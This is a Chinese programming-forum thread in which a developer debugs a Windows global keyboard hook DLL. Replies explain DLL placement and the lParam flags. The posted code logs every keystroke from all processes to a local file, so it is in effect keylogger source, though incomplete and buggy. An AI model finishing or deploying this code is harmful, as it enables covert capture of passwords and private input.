HHOOK hHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyBoardProc,AfxGetInstanceHandle(), NULL);LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HC_ACTION)
{
if((lParam & 0x80000000)) // Key down;
{
                      ...
}
}
return CallNextHookEx(hHook,nCode,wParam,lParam);
}为什么总是在第一次执行KeyBoardProc函数的时候,参数lParam的值是一个常数:-1069613055,然后随后的键盘按键信息就不会再被捕获。这是为什么?怎么解决这个问题?

解决方案 »

  1.   

    全局钩子应该是要在DLL中吧。
      

  2.   

    if((lParam & 0x80000000))改为if(((DWORD)lParam&0x40000000)试试
      

  3.   

    是的,你的钩子必须放在一个dll里面才能被别的进程所调用。所以,分一个dll来做键盘钩子就可以截获别的进程的键盘事件了
      

  4.   

    我是将钩子放在一个DLL中的,我的DLL文件如下:#if !defined(AFX_KEYHOOKDLL_H__17604216_8AE0_11D6_8F32_00E04CE76240__INCLUDED_)
    #define AFX_KEYHOOKDLL_H__17604216_8AE0_11D6_8F32_00E04CE76240__INCLUDED_#if _MSC_VER > 1000
    #pragma once
    #endif // _MSC_VER > 1000//  MFC(dll)----regular statically linked to mfc dll
    #include "stdafx.h"////////////////////////////////////////////////////////////////////////////////////
    #define DLL_EXPORT _declspec(dllexport)DLL_EXPORT BOOL WINAPI KeyHook(LPCTSTR lpModuleName);
    DLL_EXPORT BOOL WINAPI UnKeyHook();
    // -----------------------------------------
    LPCTSTR lpFileName="D:\\Key.txt";  // 文件的存储路径;
    HHOOK hHook=NULL; // HOOK句柄;
    LPTSTR lpWindowText=NULL; // 活动窗口的标题;
    HWND hActiveCtrl=NULL; // 焦点控件的句柄;
    // -----------------------------------------
    // 将ASCII码变为LPCTSTR;
    LPCTSTR AsciiToStr(UINT wParam);
    // 保存得到的键名到指定的文件中;
    void Save(LPCTSTR * lpKey);
    // KEY HOOK 回调函数;
    LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam);////////////////////////////////////////////////////////////////////////////////////DLL_EXPORT BOOL WINAPI KeyHook(LPCTSTR lpModuleName)
    {
    // lpModuleName 是DLL文件的文件名 HWND hWnd=::FindWindow("#32770",NULL);
    if(hWnd)
    {
    if(hHook)
    {
    UnhookWindowsHookEx(hHook);
    hHook=NULL;
    }
    HINSTANCE hInstance=(HINSTANCE)GetModuleHandle("E:\\tianyj\\private\\6.0\\KeyHook\\Lib\\Dll.dll"); hHook=SetWindowsHookEx(
    WH_KEYBOARD,
    (HOOKPROC)KeyBoardProc,
    hInstance,
    0);
    if(hHook)
    {
    // 创建键盘记录文件并设置其属性;
    CStdioFile file(lpFileName,CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite);
    file.Close();
    return TRUE;
    }
    }
    return 0;
    }DLL_EXPORT BOOL WINAPI UnKeyHook()
    {
    if(hHook)
    {
    UnhookWindowsHookEx(hHook);
    hHook=NULL;
    return TRUE;
    }
    return FALSE;
    }void Save(LPCTSTR lpKey)
    {
    CStdioFile file(lpFileName,CFile::modeCreate|CFile::modeNoTruncate|CFile::modeReadWrite);
    file.SeekToEnd();
    file.WriteString(lpKey);
    file.Close();
    }LRESULT CALLBACK KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
    {
    if(nCode==HC_ACTION)
    {
    if(!(lParam & 0x80000000)) // Key down;
    {
    // A--Z and a--z
    if(wParam>=0x41 && wParam<=0x5A && wParam!=VK_SHIFT)
    {
    SHORT stateCap=GetKeyState(VK_CAPITAL);
    SHORT stateShift=GetKeyState(VK_SHIFT);

    char key[2]="\0";

    BOOL bCapital=FALSE;
    if(stateShift & 0xff00)
    bCapital=!bCapital;
    if(stateCap & 0x00ff)
    bCapital=!bCapital;

    if(!bCapital)
    key[0]=wParam+32;
    else
    key[0]=wParam;
    Save((LPCTSTR)key);

    return CallNextHookEx(hHook,nCode,wParam,lParam);
    }
    else
    {
    // Other keys
    Save(AsciiToStr(wParam));
    return CallNextHookEx(hHook,nCode,wParam,lParam);
    }
    }
    }
    return CallNextHookEx(hHook,nCode,wParam,lParam);
    }LPCTSTR AsciiToStr(UINT wParam)
    {
    return _T("Test");
    }
    ////////////////////////
    #endif
    -------------------------------------------
    在KeyHook函数中,执行如下代码后,得到的hInstance为什么是0x00000000?
    我的DLL路径完全正确呀?HINSTANCE hInstance=(HINSTANCE)GetModuleHandle("E:\\Lib\\Dll.dll");